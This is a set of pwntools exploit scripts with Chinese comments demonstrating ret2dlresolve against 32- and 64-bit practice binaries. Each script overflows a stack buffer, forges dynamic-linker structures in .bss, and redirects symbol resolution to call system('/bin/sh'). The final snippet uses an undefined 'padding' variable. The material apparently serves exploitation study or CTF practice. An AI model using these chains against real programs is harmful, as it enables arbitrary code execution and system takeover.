def st_name_of(elf, name, bits):
    """符号 name 的 st_name（符号名字符串在 .dynstr 中的偏移）"""
    syms = elf.get_section_by_name(".dynsym").data()
    strs = elf.get_section_by_name(".dynstr").data()
    size = 0x18 if bits == 64 else 0x10
    for off in range(0, len(syms), size):
        st_name = u32(syms[off:off+4])
        if strs[st_name:strs.index(b"\x00", st_name)] == name.encode():
            return st_name
    raise ValueError("symbol not found")

def strtab_ptr_of(elf, bits):
    """.dynamic 中 DT_STRTAB 条目的值字段地址"""
    dyn = elf.get_section_by_name(".dynamic").header.sh_addr
    ddata = elf.get_section_by_name(".dynamic").data()
    if bits == 64:  # Elf64_Dyn 16 字节，值在 +8
        for i in range(0, len(ddata), 0x10):
            if u64(ddata[i:i+8]) == 5:
                return dyn + i + 8
    else:           # Elf32_Dyn 8 字节，值在 +4
        for i in range(0, len(ddata), 0x8):
            if u32(ddata[i:i+4]) == 5:
                return dyn + i + 4
    raise ValueError("DT_STRTAB not found")

from pwn import *
context.binary = elf = ELF("./vuln32_norelro")
p = process("./vuln32_norelro")

PAD = 0x6c          # buf[0x60] 到返回地址的距离，按实际调试为准
read_plt = elf.plt["read"]
puts_plt = elf.plt["puts"]
vuln = elf.symbols["vuln"]
strtab_ptr = strtab_ptr_of(elf, 32)
st_name = st_name_of(elf, "puts", 32)

fake_strtab = elf.bss() + 0x400
bin_sh = fake_strtab + st_name + len(b"system\x00")

# 1. 改写 DT_STRTAB 指向 fake_strtab
p.send(flat(b"A"*PAD, read_plt, vuln, 0, strtab_ptr, 4))
p.send(p32(fake_strtab))

# 2. 写伪造字符串表：st_name 偏移处放 "system"，后面跟 "/bin/sh"
p.send(flat(b"A"*PAD, read_plt, vuln, 0, fake_strtab, 0x40))
p.send(b"A"*st_name + b"system\x00" + b"/bin/sh\x00")

# 3. 调用 puts@plt，_dl_fixup 按伪造字符串表解析出 system
p.send(flat(b"A"*PAD, puts_plt, 0xdeadbeef, bin_sh))
p.interactive()

from pwn import *
context.binary = elf = ELF("./vuln32_partial")
p = process("./vuln32_partial")

PAD = 0x6c
rel_plt = elf.get_section_by_name(".rel.plt").header.sh_addr
dynsym  = elf.get_section_by_name(".dynsym").header.sh_addr
dynstr  = elf.get_section_by_name(".dynstr").header.sh_addr
plt0    = elf.get_section_by_name(".plt").header.sh_addr
read_plt = elf.plt["read"]
vuln = elf.symbols["vuln"]
got_read = elf.got["read"]

bss = elf.bss() + 0x400
# 对齐：fake_rel - rel_plt 是 8 的倍数，fake_sym - dynsym 是 16 的倍数
fake_rel = bss + (rel_plt - bss) % 0x8
gap = (dynsym - fake_rel) % 0x10
if gap < 0x8:
    gap += 0x10
fake_sym = fake_rel + gap
str_addr = fake_sym + 0x10
bin_sh = str_addr + 0x8
sym_index = (fake_sym - dynsym) // 0x10

# 1. 把伪造的结构体读进 bss
p.send(flat(b"A"*PAD, read_plt, vuln, 0, fake_rel, 0x200))
st_name = str_addr - dynstr
payload2 = flat({
    0x00: p32(got_read) + p32((sym_index << 8) | 7),
    gap:  p32(st_name) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0),
    gap + 0x10: b"system\x00\x00",
    gap + 0x18: b"/bin/sh\x00",
})
p.send(payload2)

# 2. 跳 plt[0]，压入 fake_rel 的字节偏移触发解析
#    解析完成后以 0xdeadbeef 为返回地址调用 system(bin_sh)
p.send(flat(b"A"*PAD, plt0, fake_rel - rel_plt, 0xdeadbeef, bin_sh))
p.interactive()

from pwn import *
context.binary = elf = ELF("./vuln64_norelro")
p = process("./vuln64_norelro")

PAD = 0x68
pop_rdi = elf.symbols["pop_rdi"]
pop_rsi = elf.symbols["pop_rsi"]
pop_rdx = elf.symbols["pop_rdx"]
read_plt = elf.plt["read"]
puts_plt = elf.plt["puts"]
vuln = elf.symbols["vuln"]
strtab_ptr = strtab_ptr_of(elf, 64)
st_name = st_name_of(elf, "puts", 64)

fake_strtab = elf.bss() + 0x800
bin_sh = fake_strtab + st_name + len(b"system\x00")

# 1. 改写 DT_STRTAB
p.send(flat(b"A"*PAD, pop_rdi, 0, pop_rsi, strtab_ptr, pop_rdx, 8, read_plt, vuln))
p.send(p64(fake_strtab))

# 2. 写伪造字符串表
p.send(flat(b"A"*PAD, pop_rdi, 0, pop_rsi, fake_strtab, pop_rdx, 0x100, read_plt, vuln))
p.send(b"A"*st_name + b"system\x00" + b"/bin/sh\x00")

# 3. puts@plt -> system("/bin/sh")
p.send(flat(b"A"*PAD, pop_rdi, bin_sh, puts_plt))
p.interactive()

from pwn import *
context.binary = elf = ELF("./vuln64_partial")
p = process("./vuln64_partial")

PAD = 0x68
rela_plt = elf.get_section_by_name(".rela.plt").header.sh_addr
dynsym   = elf.get_section_by_name(".dynsym").header.sh_addr
dynstr   = elf.get_section_by_name(".dynstr").header.sh_addr
plt0     = elf.get_section_by_name(".plt").header.sh_addr
read_plt = elf.plt["read"]
vuln     = elf.symbols["vuln"]
got_read = elf.got["read"]
pop_rdi  = elf.symbols["pop_rdi"]
pop_rsi  = elf.symbols["pop_rsi"]
pop_rdx  = elf.symbols["pop_rdx"]

bss = elf.bss() + 0x800
# 对齐：fake_rel - rela_plt、fake_sym - dynsym 都是 0x18 的倍数
fake_rel = bss + (rela_plt - bss) % 0x18
gap = 0x18 + (dynsym - fake_rel - 0x18) % 0x18
fake_sym = fake_rel + gap
str_addr = fake_sym + 0x18
bin_sh   = str_addr + 0x8
sym_index = (fake_sym - dynsym) // 0x18

# 1. 把伪造的结构体读进 bss
p.send(flat(b"A"*PAD, pop_rdi, 0, pop_rsi, fake_rel, pop_rdx, 0x200, read_plt, vuln))
st_name = str_addr - dynstr
payload2 = flat({
    0x00: p64(got_read) + p64((sym_index << 32) | 7) + p64(0),
    gap:  p32(st_name) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0),
    gap + 0x18: b"system\x00\x00",
    gap + 0x20: b"/bin/sh\x00",
})
p.send(payload2)

# 2. rdi = "/bin/sh"，跳 plt[0] 压入 reloc 索引触发解析
p.send(flat(b"A"*PAD, pop_rdi, bin_sh, plt0, (fake_rel - rela_plt) // 0x18))
p.interactive()

from pwn import *
context.binary = elf = ELF("./vuln")

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop = ROP(elf)
rop.read(0, dlresolve.data_addr)   # 把自动生成的结构体读进内存
rop.ret2dlresolve(dlresolve)       # 生成触发解析的 rop 链

p.send(b"A" * padding + rop.chain())
p.send(dlresolve.payload)
p.interactive()